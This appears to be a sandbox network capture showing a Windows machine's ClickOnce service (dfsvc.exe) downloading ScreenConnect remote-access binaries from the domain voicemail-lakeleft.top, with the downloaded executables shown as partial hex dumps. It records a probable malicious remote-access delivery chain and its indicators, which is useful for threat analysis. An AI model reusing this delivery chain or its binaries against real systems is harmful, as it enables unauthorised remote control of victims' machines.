2024-11-08 10:01:25 UTC	2776	IN	Data Raw: 00 08 01 00 00 08 00 00 00 00 05 01 00 01 00 00 05 01 00 02 00 00 0a 01 00 02 00 00 00 00 01 00 00 20 01 00 03 00 00 00 09 53 65 73 73 69 6f 6e 49 44 04 4e 61 6d 65 08 55 73 65 72 4e 61 6d 65 00 00 0d 01 00 05 00 00 00 00 00 00 00 01 00 00 2d 01 00 02 00 00 00 1c 43 72 65 64 65 6e 74 69 61 6c 50 72 6f 76 69 64 65 72 49 6e 73 74 61 6e 63 65 49 44 07 4d 65 73 73 61 67 65 00 00 0b 01 00 03 00 00 00 00 01 01 00 00 33 01 00 03 00 00 00 0e 45 78 65 63 75 74 61 62 6c 65 50 61 74 68 0b 43 6f 6d 6d 61 6e 64 4c 69 6e 65 0f 50 61 72 65 6e 74 50 72 6f 63 65 73 73 49 44 00 00 52 01 00 05 00 00 00 0e 45 78 65 63 75 74 61 62 6c 65 50 61 74 68 0b 43 6f 6d 6d 61 6e 64 4c 69 6e 65 0f 50 61 72 65 6e 74 50 72 6f 63 65 73 73 49 44 0e 45 78 65 63 75 74 61 62 6c 65 50 61 74 68 Data Ascii: SessionIDNameUserName-CredentialProviderInstanceIDMessage3ExecutablePathCommandLineParentProcessIDRExecutablePathCommandLineParentProcessIDExecutablePath

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49767	194.59.30.201	443	6172	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 10:01:25 UTC	100	OUT	GET /Bin/ScreenConnect.Windows.dll HTTP/1.1 Host: voicemail-lakeleft.top Accept-Encoding: gzip
2024-11-08 10:01:26 UTC	218	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 1721856 Content-Type: text/html Server: ScreenConnect/24.2.10.8991-2537422459 Microsoft-HTTPAPI/2.0 Date: Fri, 08 Nov 2024 10:01:26 GMT Connection: close
2024-11-08 10:01:26 UTC	16166	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 6c da d0 ab 00 00 00 00 00 00 00 00 e0 00 22 20 0b 01 30 00 00 3e 1a 00 00 06 00 00 00 00 00 00 82 5d 1a 00 00 20 00 00 00 60 1a 00 00 00 00 10 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 a0 1a 00 00 02 00 00 5b ab 1a 00 03 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELl" 0>] ` [@
2024-11-08 10:01:26 UTC	16384	IN	Data Raw: 00 00 0a 14 04 05 16 28 ba 00 00 06 13 06 de 11 09 28 01 02 00 0a dc 06 2c 06 06 6f 11 00 00 0a dc 11 06 2a 00 00 01 34 00 00 02 00 99 00 0a a3 00 0c 00 00 00 00 02 00 81 00 2e af 00 0c 00 00 00 00 02 00 73 00 87 fa 00 07 00 00 00 00 02 00 06 00 fb 01 01 0a 00 00 00 00 13 30 02 00 1f 00 00 00 2a 00 00 11 1f 28 7e 5e 00 00 0a 28 e0 00 00 06 72 71 06 00 70 28 02 02 00 0a 0a 02 06 28 bd 00 00 06 2a 00 13 30 05 00 47 00 00 00 00 00 00 00 03 25 2d 06 26 28 be 00 00 06 18 8d d9 00 00 01 25 16 72 9d 06 00 70 a2 25 17 72 b9 06 00 70 a2 28 03 02 00 0a 7e a7 00 00 04 25 2d 13 26 14 fe 06 04 02 00 0a 73 05 02 00 0a 25 80 a7 00 00 04 02 28 32 00 00 2b 2a 00 1b 30 04 00 90 00 00 00 3a 00 00 11 28 0d 01 00 06 1f 0a 16 20 7c 4f 00 00 73 07 02 00 0a 28 6e 01 00 0a 2c 35 Data Ascii: ((,o4.s0(~^(rqp((0G%-&(%rp%rp(~%-&s%(2+0:( \|Os(n,5
2024-11-08 10:01:26 UTC	16384	IN	Data Raw: fc 00 00 04 7d f8 00 00 04 02 17 7d f7 00 00 04 17 2a 02 15 7d f7 00 00 04 02 02 7b fc 00 00 04 18 28 aa 01 00 06 7d fc 00 00 04 02 7b fc 00 00 04 16 d3 28 84 00 00 0a 2d c3 16 2a 1e 02 7b f8 00 00 04 2a 1a 73 7b 01 00 0a 7a 32 02 7b f8 00 00 04 8c ce 00 00 01 2a 00 00 13 30 02 00 3c 00 00 00 88 00 00 11 02 7b f7 00 00 04 1f fe 33 1d 02 7b f9 00 00 04 28 4e 03 00 0a 6f 4f 03 00 0a 33 0b 02 16 7d f7 00 00 04 02 0a 2b 07 16 73 4d 03 00 06 0a 06 02 7b fb 00 00 04 7d fa 00 00 04 06 2a 1e 02 28 53 03 00 06 2a 7a 02 28 2c 00 00 0a 02 03 7d fd 00 00 04 02 28 4e 03 00 0a 6f 4f 03 00 0a 7d ff 00 00 04 2a 06 2a 00 00 00 13 30 05 00 d5 00 00 00 89 00 00 11 02 7b fd 00 00 04 0a 06 2c 09 06 17 3b 8d 00 00 00 16 2a 02 15 7d fd 00 00 04 1f 09 0b 02 17 07 25 17 58 0b 1f Data Ascii: }}}{(}{(-{s{z2{0<{3{(NoO3}+sM{}(Sz(,}(NoO}*0{,;}%X
2024-11-08 10:01:26 UTC	16384	IN	Data Raw: 6e 22 06 00 71 cc 6e 22 06 00 48 cf 6e 22 06 00 5e 3e 6e 22 06 00 9f a3 6e 22 06 00 c4 b2 a0 02 06 00 36 b2 6e 22 06 00 49 a7 a0 02 06 00 41 a7 6e 22 06 00 81 cc 6e 22 06 00 af 54 6e 22 06 00 ba 90 6e 22 06 00 9f a3 6e 22 06 00 7c aa 6e 22 06 00 f7 cf 71 22 06 00 ce 45 71 22 06 00 66 46 6e 22 06 00 07 59 6e 22 06 00 b6 bf 6e 22 06 00 31 6a 6e 22 06 00 8f 9f 6e 22 06 00 e8 60 6e 22 06 00 48 cf 6e 22 06 00 f4 5f 6e 22 06 00 04 52 25 25 06 00 e3 be 6e 22 06 00 5b be 6e 22 06 10 55 51 f7 25 06 06 80 30 af 08 56 80 80 c8 fb 25 56 80 69 c8 fb 25 06 06 80 30 af 08 56 80 35 9d 00 26 06 06 80 30 af 08 56 80 62 27 05 26 56 80 90 29 05 26 56 80 e3 0d 05 26 56 80 86 29 05 26 06 06 80 30 6e 22 56 80 2c 39 0a 26 56 80 97 c8 0a 26 56 80 5f 39 0a 26 56 80 60 bd 0a 26 56 Data Ascii: n"qn"Hn"^>n"n"6n"IAn"n"Tn"n"n"\|n"q"Eq"fFn"Yn"n"1jn"n"`n"Hn"_n"R%%n"[n"UQ%0V%Vi%0V5&0Vb'&V)&V&V)&0n"V,9&V&V_9&V`&V
2024-11-08 10:01:26 UTC	16384	IN	Data Raw: c6 00 5e 53 10 00 0f 07 5e a5 00 00 00 00 91 18 18 99 0e 27 10 07 6a a5 00 00 00 00 86 18 ed 98 01 00 10 07 72 a5 00 00 00 00 83 00 d7 02 29 3b 10 07 7a a5 00 00 00 00 83 00 81 0a 30 3b 12 07 82 a5 00 00 00 00 86 18 ed 98 01 00 13 07 8a a5 00 00 00 00 83 00 d6 07 1b 3b 13 07 9d a5 00 00 00 00 91 18 18 99 0e 27 14 07 a9 a5 00 00 00 00 86 18 ed 98 01 00 14 07 b1 a5 00 00 00 00 83 00 ab 02 39 3b 14 07 b9 a5 00 00 00 00 83 00 55 0a 39 3b 15 07 c1 a5 00 00 00 00 86 18 ed 98 05 00 16 07 e0 a5 00 00 00 00 e1 01 ac 58 01 00 17 07 18 a6 00 00 00 00 e1 01 37 c2 3d 00 17 07 e4 a7 00 00 00 00 81 00 d5 0d 01 00 17 07 00 a8 00 00 00 00 e1 09 d0 bb e0 18 17 07 08 a8 00 00 00 00 e1 01 13 b6 01 00 17 07 0f a8 00 00 00 00 e1 09 96 bc 4e 00 17 07 18 a8 00 00 00 00 e1 01 bd Data Ascii: ^S^'jr);z0;;'9;U9;X7=N
2024-11-08 10:01:26 UTC	16384	IN	Data Raw: 5b 34 45 10 a9 06 0b 5f 39 02 3c 04 8d 4a a0 02 91 04 5f 46 01 00 89 06 8d 58 39 02 d1 03 86 c7 01 00 69 04 a6 58 01 00 71 09 dc 37 b1 1a 71 09 1c 36 89 01 59 06 ab cc e9 1a e1 02 ed 98 f8 1a e1 02 ed 98 07 1b 41 06 ed 98 10 00 b9 08 ae 9e 16 1b 19 0a 85 3e 1d 1b 29 02 96 4c 7c 04 31 02 ed 98 01 00 99 04 68 53 f5 09 c1 09 21 5b 10 00 39 02 96 4c 7c 04 39 02 35 70 89 01 99 02 e2 6a 7c 04 99 02 28 59 3b 1b b1 07 1b 6b 3d 0b 4c 04 a8 98 5b 00 54 04 b5 bc 49 00 44 02 ab 0d d9 00 08 00 14 00 25 1c 08 00 18 00 2a 1c 08 00 1c 00 2f 1c 08 00 20 00 34 1c 08 00 b8 00 39 1c 0e 00 bc 00 3e 1c 0e 00 c0 00 51 1c 0e 00 c4 00 62 1c 08 00 c8 00 75 1c 08 00 cc 00 7a 1c 0e 00 d0 00 7f 1c 0e 00 d4 00 8e 1c 0e 00 d8 00 9d 1c 0e 00 e0 00 c6 1c 08 00 f0 00 64 1d 08 00 f4 00 69 Data Ascii: [4E_9<J_FX9iXq7q6YA>)L\|1hS![9L\|95pj\|(Y;k=L[TID%*/ 49>Qbuzdi
2024-11-08 10:01:27 UTC	16384	IN	Data Raw: 3e 39 5f 5f 31 33 35 5f 31 00 3c 47 65 74 46 75 6c 6c 45 78 65 63 75 74 61 62 6c 65 50 61 74 68 3e 62 5f 5f 31 33 35 5f 31 00 3c 3e 63 5f 5f 44 69 73 70 6c 61 79 43 6c 61 73 73 34 37 5f 31 00 3c 43 6f 6e 6e 65 63 74 53 65 72 76 65 72 43 6c 69 65 6e 74 4e 61 6d 65 64 50 69 70 65 73 3e 67 5f 5f 57 61 69 74 41 6e 64 43 6f 6e 6e 65 63 74 4e 61 6d 65 64 50 69 70 65 7c 39 37 5f 31 00 3c 50 6f 70 75 6c 61 74 65 43 6f 6e 74 65 78 74 4d 65 6e 75 53 74 72 69 70 49 74 65 6d 73 3e 62 5f 5f 37 5f 31 00 3c 3e 39 5f 5f 38 5f 31 00 3c 50 6f 70 75 6c 61 74 65 43 6f 6e 74 65 78 74 4d 65 6e 75 53 74 72 69 70 49 74 65 6d 73 3e 62 5f 5f 38 5f 31 00 3c 3e 39 5f 5f 32 39 5f 31 00 3c 54 72 79 47 65 74 41 63 74 69 76 65 43 6f 6e 73 6f 6c 65 53 65 73 73 69 6f 6e 49 44 3e 62 5f 5f Data Ascii: >9__135_1<GetFullExecutablePath>b__135_1<>c__DisplayClass47_1<ConnectServerClientNamedPipes>g__WaitAndConnectNamedPipe\|97_1<PopulateContextMenuStripItems>b__7_1<>9__8_1<PopulateContextMenuStripItems>b__8_1<>9__29_1<TryGetActiveConsoleSessionID>b__
2024-11-08 10:01:27 UTC	16384	IN	Data Raw: 62 61 73 65 4b 65 79 48 61 6e 64 6c 65 00 6c 69 62 72 61 72 79 48 61 6e 64 6c 65 00 72 65 73 75 6d 65 5f 68 61 6e 64 6c 65 00 54 6f 52 65 63 74 61 6e 67 6c 65 00 47 65 74 43 6c 69 65 6e 74 52 65 63 74 61 6e 67 6c 65 00 47 65 74 57 69 6e 64 6f 77 52 65 63 74 61 6e 67 6c 65 00 72 65 63 74 61 6e 67 6c 65 00 70 44 61 74 61 46 69 6c 65 00 75 6c 6c 54 6f 74 61 6c 50 61 67 65 46 69 6c 65 00 75 6c 6c 41 76 61 69 6c 50 61 67 65 46 69 6c 65 00 43 72 65 61 74 65 46 69 6c 65 00 68 54 65 6d 70 6c 61 74 65 46 69 6c 65 00 44 65 6c 65 74 65 46 69 6c 65 00 4d 6f 76 65 46 69 6c 65 00 70 43 6f 6e 66 69 67 46 69 6c 65 00 54 72 79 55 6e 62 6c 6f 63 6b 46 69 6c 65 00 4c 6f 61 64 52 65 73 6f 75 72 63 65 50 61 63 6b 46 72 6f 6d 46 69 6c 65 00 4d 61 70 46 69 6c 65 00 70 48 65 6c Data Ascii: baseKeyHandlelibraryHandleresume_handleToRectangleGetClientRectangleGetWindowRectanglerectanglepDataFileullTotalPageFileullAvailPageFileCreateFilehTemplateFileDeleteFileMoveFilepConfigFileTryUnblockFileLoadResourcePackFromFileMapFilepHel
2024-11-08 10:01:27 UTC	16384	IN	Data Raw: 70 00 3c 39 3e 5f 5f 43 6c 6f 73 65 44 65 73 6b 74 6f 70 00 43 72 65 61 74 65 44 65 73 6b 74 6f 70 00 53 77 69 74 63 68 44 65 73 6b 74 6f 70 00 4f 70 65 6e 44 65 73 6b 74 6f 70 00 6c 70 44 65 73 6b 74 6f 70 00 54 72 79 45 6e 73 75 72 65 54 68 72 65 61 64 4f 6e 49 6e 70 75 74 44 65 73 6b 74 6f 70 00 4f 70 65 6e 49 6e 70 75 74 44 65 73 6b 74 6f 70 00 6c 70 73 7a 44 65 73 6b 74 6f 70 00 64 65 73 6b 74 6f 70 00 65 5f 73 70 00 55 72 69 53 63 68 65 6d 65 48 74 74 70 00 4e 61 74 69 76 65 43 6c 65 61 6e 75 70 00 6c 70 4c 6f 61 64 4f 72 64 65 72 47 72 6f 75 70 00 47 65 74 4c 61 73 74 41 63 74 69 76 65 50 6f 70 75 70 00 41 70 70 44 6f 6d 61 69 6e 53 65 74 75 70 00 70 73 7a 56 65 6e 64 6f 72 53 65 74 75 70 00 66 43 6f 6e 74 65 78 74 52 65 71 00 53 79 73 74 65 6d 2e Data Ascii: p<9>__CloseDesktopCreateDesktopSwitchDesktopOpenDesktoplpDesktopTryEnsureThreadOnInputDesktopOpenInputDesktoplpszDesktopdesktope_spUriSchemeHttpNativeCleanuplpLoadOrderGroupGetLastActivePopupAppDomainSetuppszVendorSetupfContextReqSystem.
2024-11-08 10:01:27 UTC	16384	IN	Data Raw: 00 4f 70 65 6e 52 65 67 69 73 74 72 79 4b 65 79 00 43 72 65 61 74 65 50 72 6f 70 65 72 74 79 4b 65 79 00 47 65 74 48 6f 74 6b 65 79 00 53 65 74 48 6f 74 6b 65 79 00 70 77 48 6f 74 6b 65 79 00 53 79 73 74 65 6d 2e 53 65 63 75 72 69 74 79 2e 43 72 79 70 74 6f 67 72 61 70 68 79 00 67 65 74 5f 41 73 73 65 6d 62 6c 79 00 67 65 74 5f 46 6f 6e 74 46 61 6d 69 6c 79 00 44 65 66 61 75 6c 74 46 6f 6e 74 46 61 6d 69 6c 79 00 54 72 79 44 69 73 61 62 6c 65 46 69 6c 65 53 79 73 74 65 6d 52 65 64 69 72 65 63 74 69 6f 6e 54 65 6d 70 6f 72 61 72 69 6c 79 00 73 65 74 5f 52 65 61 64 4f 6e 6c 79 00 44 69 73 70 6f 73 65 51 75 69 65 74 6c 79 00 70 6f 69 6e 74 6c 79 00 53 65 6c 65 63 74 4d 61 6e 79 00 53 68 75 74 64 6f 77 6e 42 6c 6f 63 6b 52 65 61 73 6f 6e 44 65 73 74 72 6f 79 Data Ascii: OpenRegistryKeyCreatePropertyKeyGetHotkeySetHotkeypwHotkeySystem.Security.Cryptographyget_Assemblyget_FontFamilyDefaultFontFamilyTryDisableFileSystemRedirectionTemporarilyset_ReadOnlyDisposeQuietlypointlySelectManyShutdownBlockReasonDestroy

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49802	194.59.30.201	443	6172	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 10:01:31 UTC	106	OUT	GET /Bin/ScreenConnect.WindowsClient.exe HTTP/1.1 Host: voicemail-lakeleft.top Accept-Encoding: gzip
2024-11-08 10:01:32 UTC	217	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 601376 Content-Type: text/html Server: ScreenConnect/24.2.10.8991-2537422459 Microsoft-HTTPAPI/2.0 Date: Fri, 08 Nov 2024 10:01:31 GMT Connection: close
2024-11-08 10:01:32 UTC	16167	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 7b 3c 99 98 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 fc 08 00 00 06 00 00 00 00 00 00 92 15 09 00 00 20 00 00 00 20 09 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 09 00 00 02 00 00 19 78 09 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL{<"0 @ `x@
2024-11-08 10:01:32 UTC	16384	IN	Data Raw: 00 0a 2a 00 00 1b 30 06 00 ef 0d 00 00 2c 00 00 11 73 ab 07 00 06 0a 06 02 7d 14 03 00 04 28 75 01 00 0a 2c 1c 72 9d 0a 00 70 17 17 28 76 01 00 0a 28 77 01 00 0a 16 8d 11 00 00 01 28 78 01 00 0a 02 17 7d 48 00 00 04 02 28 e4 00 00 06 17 28 cf 01 00 0a 0b 02 28 fd 00 00 06 0c 02 28 dc 00 00 06 7e a9 02 00 04 25 2d 17 26 7e 96 02 00 04 fe 06 25 07 00 06 73 d0 01 00 0a 25 80 a9 02 00 04 28 33 00 00 2b 6f d1 01 00 0a 0d 38 24 0c 00 00 12 04 09 6f d2 01 00 0a 7d 16 03 00 04 11 04 7b 16 03 00 04 28 2c 00 00 2b 13 05 11 04 7b 16 03 00 04 6f 15 03 00 06 28 36 06 00 06 13 06 11 04 7b 16 03 00 04 6f 29 03 00 06 28 4a 06 00 06 13 07 11 04 7b 16 03 00 04 6f 2a 03 00 06 28 4a 06 00 06 13 08 11 04 7b 16 03 00 04 6f 15 03 00 06 02 28 fb 00 00 06 25 13 0e 6f a2 00 00 0a Data Ascii: 0,s}(u,rp(v(w(x}H((((~%-&~%s%(3+o8$o}{(,+{o(6{o)(J{o(J{o(%o
2024-11-08 10:01:32 UTC	16384	IN	Data Raw: 02 7b 54 00 00 04 6f 0b 07 00 06 18 2e 0c 02 7b 54 00 00 04 16 6f a2 00 00 0a 2a 00 00 13 30 03 00 62 00 00 00 00 00 00 00 02 7b 54 00 00 04 6f 14 03 00 0a 2c 4d 02 7b 5a 00 00 04 28 a9 00 00 06 6f b8 04 00 06 02 7b 54 00 00 04 16 6f a2 00 00 0a 02 7b 54 00 00 04 02 7b 54 00 00 04 6f 14 03 00 0a 74 9a 00 00 01 17 6f 15 03 00 0a 26 02 7b 54 00 00 04 14 6f 7b 01 00 0a 02 17 28 3c 01 00 06 2a 02 16 28 3c 01 00 06 2a 00 00 13 30 05 00 90 00 00 00 47 00 00 11 72 1d 14 00 70 18 8d 11 00 00 01 25 16 03 8c 33 02 00 01 a2 25 17 02 7b 54 00 00 04 6f 0b 07 00 06 8c b6 00 00 02 a2 28 07 03 00 0a 02 7b 54 00 00 04 6f 0b 07 00 06 0a 06 17 2e 06 06 18 2e 27 2b 35 02 7b 5a 00 00 04 28 aa 00 00 06 6f b8 04 00 06 03 2d 22 02 28 ae 00 00 06 73 0a 03 00 0a 6f 45 01 00 0a 2b Data Ascii: {To.{To0b{To,M{Z(o{To{T{Toto&{To{(<(<*0Grp%3%{To({To..'+5{Z(o-"(soE+
2024-11-08 10:01:32 UTC	16384	IN	Data Raw: 73 27 04 00 0a 28 b2 00 00 2b 28 b3 00 00 2b 6f 28 04 00 0a 2a c2 02 28 29 04 00 0a 02 7e 2a 04 00 0a 28 2b 04 00 0a 02 20 02 60 00 00 17 28 2c 04 00 0a 02 02 fe 06 dd 01 00 06 73 2d 04 00 0a 28 2e 04 00 0a 2a 1e 02 7b 9b 00 00 04 2a 22 02 03 7d 9b 00 00 04 2a 1e 02 7b 9c 00 00 04 2a 22 02 03 7d 9c 00 00 04 2a 1e 02 7b 9d 00 00 04 2a 22 02 03 7d 9d 00 00 04 2a 1e 02 7b 9e 00 00 04 2a 22 02 03 7d 9e 00 00 04 2a 1e 02 7b 9f 00 00 04 2a 22 02 03 7d 9f 00 00 04 2a 1e 02 7b a0 00 00 04 2a 22 02 03 7d a0 00 00 04 2a 1e 02 7b a1 00 00 04 2a 22 02 03 7d a1 00 00 04 2a 1e 02 7b a2 00 00 04 2a 22 02 03 7d a2 00 00 04 2a 1e 02 7b a3 00 00 04 2a 22 02 03 7d a3 00 00 04 2a 1e 02 7b a4 00 00 04 2a 22 02 03 7d a4 00 00 04 2a 1e 02 7b a5 00 00 04 2a 22 02 03 7d a5 00 00 Data Ascii: s'(+(+o(()~(+ `(,s-(.{"}{"}{"}{"}{"}{"}{"}{"}{"}{"}{"}
2024-11-08 10:01:32 UTC	16384	IN	Data Raw: 00 0a 2c 07 02 28 a4 02 00 06 2a 02 6f 18 04 00 0a 2a 00 00 00 13 30 02 00 51 00 00 00 93 00 00 11 02 28 61 05 00 0a 2d 1d 02 28 9b 02 00 06 12 00 fe 15 1d 00 00 01 06 28 62 05 00 0a 2c 07 02 28 9b 02 00 06 2a 02 7b ef 00 00 04 2c 1d 02 28 a2 02 00 06 12 00 fe 15 1d 00 00 01 06 28 62 05 00 0a 2c 07 02 28 a2 02 00 06 2a 02 6f 17 04 00 0a 2a d6 02 28 61 05 00 0a 2d 0f 02 28 9f 02 00 06 2c 07 02 28 9f 02 00 06 2a 02 7b ef 00 00 04 2c 0f 02 28 a6 02 00 06 2c 07 02 28 a6 02 00 06 2a 02 6f c6 04 00 0a 2a d6 02 28 61 05 00 0a 2d 0f 02 28 a1 02 00 06 2c 07 02 28 a1 02 00 06 2a 02 7b ef 00 00 04 2c 0f 02 28 aa 02 00 06 2c 07 02 28 aa 02 00 06 2a 02 28 99 02 00 06 2a 00 00 00 1b 30 06 00 f0 00 00 00 94 00 00 11 02 03 28 ce 01 00 06 02 6f c4 02 00 06 0a 12 00 28 63 Data Ascii: ,(o0Q(a-((b,({,((b,(o(a-(,({,(,(o(a-(,({,(,((*0(o(c
2024-11-08 10:01:32 UTC	16384	IN	Data Raw: 08 06 00 0a 2a 32 02 7b 38 01 00 04 6f 09 06 00 0a 2a 36 02 7b 38 01 00 04 03 6f 0a 06 00 0a 2a 00 13 30 03 00 29 00 00 00 c4 00 00 11 02 7b 3a 01 00 04 0a 06 0b 07 03 28 b7 00 00 0a 74 10 00 00 1b 0c 02 7c 3a 01 00 04 08 07 28 4f 01 00 2b 0a 06 07 33 df 2a 00 00 00 13 30 03 00 29 00 00 00 c4 00 00 11 02 7b 3a 01 00 04 0a 06 0b 07 03 28 b9 00 00 0a 74 10 00 00 1b 0c 02 7c 3a 01 00 04 08 07 28 4f 01 00 2b 0a 06 07 33 df 2a 00 00 00 13 30 07 00 29 00 00 00 5a 00 00 11 02 02 7b 3a 01 00 04 73 8a 03 00 06 25 02 02 7b 39 01 00 04 0a 06 17 58 7d 39 01 00 04 06 6f 89 03 00 06 28 50 01 00 2b 2a 66 02 16 7d 39 01 00 04 02 28 83 03 00 06 02 7b 38 01 00 04 6f 0b 06 00 0a 2a 1e 02 28 83 03 00 06 2a 32 02 7b 38 01 00 04 6f 0c 06 00 0a 2a 32 02 7b 38 01 00 04 28 72 01 Data Ascii: 2{8o6{8o0){:(t\|:(O+30){:(t\|:(O+30)Z{:s%{9X}9o(P+f}9({8o(2{8o*2{8(r
2024-11-08 10:01:33 UTC	16384	IN	Data Raw: 7b 3d 05 00 04 2c 0b 06 7b 3d 05 00 04 6f 22 00 00 0a dc 06 7b 3c 05 00 04 2c 0b 06 7b 3c 05 00 04 6f 22 00 00 0a dc 07 2c 06 07 6f 22 00 00 0a dc 28 60 07 00 0a 26 dc 2a 01 34 00 00 02 00 69 00 41 aa 00 14 00 00 00 00 02 00 35 00 89 be 00 14 00 00 00 00 02 00 24 00 ae d2 00 0a 00 00 00 00 02 00 14 00 c8 dc 00 07 00 00 00 00 13 30 06 00 4a 00 00 00 00 00 00 00 02 28 ad 01 00 06 02 20 16 22 00 00 17 28 2c 04 00 0a 02 17 28 b1 07 00 0a 02 22 00 00 80 3f 7d 73 01 00 04 02 7e bb 05 00 0a 28 0d 05 00 06 73 82 05 00 0a 7d 74 01 00 04 02 18 17 16 16 02 73 b2 07 00 0a 7d 71 01 00 04 2a 00 00 13 30 03 00 29 00 00 00 16 00 00 11 02 7b 78 01 00 04 0a 06 0b 07 03 28 b7 00 00 0a 74 01 00 00 1b 0c 02 7c 78 01 00 04 08 07 28 09 00 00 2b 0a 06 07 33 df 2a 00 00 00 13 30 Data Ascii: {=,{=o"{<,{<o",o"(`&4iA5$0J( "(,("?}s~(s}ts}q0){x(t\|x(+3*0
2024-11-08 10:01:33 UTC	16384	IN	Data Raw: 28 d1 01 00 2b 7e 85 05 00 04 fe 06 dd 0a 00 06 73 60 01 00 0a 28 21 00 00 2b 0c 28 92 08 00 0a 08 25 2d 0b 26 d0 8c 00 00 02 28 bf 00 00 0a 6f 41 05 00 06 28 c3 04 00 06 2a 1a 7e b6 01 00 04 2a 1e 02 80 b6 01 00 04 2a 86 28 92 08 00 0a 02 6f 41 05 00 06 28 c3 04 00 06 7e aa 00 00 0a 02 6f b0 03 00 0a 6f 93 08 00 0a 2a 2e 28 c2 04 00 06 6f 5e 05 00 06 2a 2e 28 c2 04 00 06 6f 44 05 00 06 2a 2e 28 c2 04 00 06 6f 4a 05 00 06 2a 2e 28 c2 04 00 06 6f 4c 05 00 06 2a 2e 28 c2 04 00 06 6f 48 05 00 06 2a 2e 28 c2 04 00 06 6f 42 05 00 06 2a 2e 28 c2 04 00 06 6f 44 05 00 06 2a 2e 28 c2 04 00 06 6f 46 05 00 06 2a 2e 28 c2 04 00 06 6f 44 05 00 06 2a 2e 28 c2 04 00 06 6f 62 05 00 06 2a 2e 28 c2 04 00 06 6f 64 05 00 06 2a 2e 28 c2 04 00 06 6f 66 05 00 06 2a 2e 28 c2 04 Data Ascii: (+~s`(!+(%-&(oA(~(oA(~oo.(o^.(oD.(oJ.(oL.(oH.(oB.(oD.(oF.(oD.(ob.(od.(of.(
2024-11-08 10:01:33 UTC	16384	IN	Data Raw: 0a 25 80 d2 05 00 04 16 28 21 01 00 2b 2a 00 00 00 13 30 03 00 45 00 00 00 41 01 00 11 73 9f 09 00 0a 0a 06 03 7d a0 09 00 0a 02 06 fe 06 a1 09 00 0a 73 a2 09 00 0a 15 28 16 02 00 2b 7e a3 09 00 0a 25 2d 17 26 7e a4 09 00 0a fe 06 a5 09 00 0a 73 a6 09 00 0a 25 80 a3 09 00 0a 28 17 02 00 2b 2a 00 00 00 1b 30 03 00 2e 00 00 00 42 01 00 11 7e a7 09 00 0a 72 18 40 00 70 02 8c 64 00 00 01 28 1d 06 00 0a 6f a8 09 00 0a 0a 06 14 fe 03 0b de 0a 06 2c 06 06 6f 22 00 00 0a dc 07 2a 00 00 01 10 00 00 02 00 1b 00 07 22 00 0a 00 00 00 00 aa 28 01 03 00 0a 1c 16 73 02 03 00 0a 28 03 03 00 0a 2c 15 d0 23 03 00 01 28 bf 00 00 0a 6f 93 07 00 0a 28 10 06 00 06 2a 16 2a 56 28 11 06 00 06 2d 07 02 73 f2 06 00 06 2a 02 73 ed 06 00 06 2a 66 28 11 06 00 06 2d 09 02 03 04 73 e9 Data Ascii: %(!+0EAs}s(+~%-&~s%(+0.B~r@pd(o,o""(s(,#(o(V(-ss*f(-s
2024-11-08 10:01:33 UTC	16384	IN	Data Raw: 6f fc 01 00 0a 02 17 28 13 0b 00 0a 02 28 14 0b 00 0a 02 28 bb 01 00 0a 28 f9 01 00 0a 2a 76 02 28 23 08 00 0a 25 20 00 00 00 80 6f e5 04 00 0a 25 20 88 00 00 00 6f e6 04 00 0a 2a 00 13 30 05 00 bd 00 00 00 91 01 00 11 0f 01 28 f0 01 00 0a 2c 2b 02 28 df 00 00 0a 0f 01 28 f3 01 00 0a 28 15 0b 00 0a 28 7f 00 00 0a 2c 12 0f 01 28 f3 01 00 0a 28 86 00 00 0a 73 3b 05 00 0a 2a 02 02 28 f1 01 00 0a 02 28 ed 01 00 0a 02 28 f6 01 00 0a 17 28 10 07 00 06 0a 12 00 28 08 03 00 0a 2d 64 02 02 28 f1 01 00 0a 02 28 ed 01 00 0a 02 28 16 0b 00 0a 17 28 10 07 00 06 0b 12 01 28 08 03 00 0a 2d 3f 02 02 28 f6 01 00 0a 02 28 16 0b 00 0a 02 28 f1 01 00 0a 16 28 10 07 00 06 0c 12 02 28 08 03 00 0a 2d 1a 02 02 28 f6 01 00 0a 02 28 16 0b 00 0a 02 28 ed 01 00 0a 16 28 10 07 00 06 Data Ascii: o((((v(#% o% 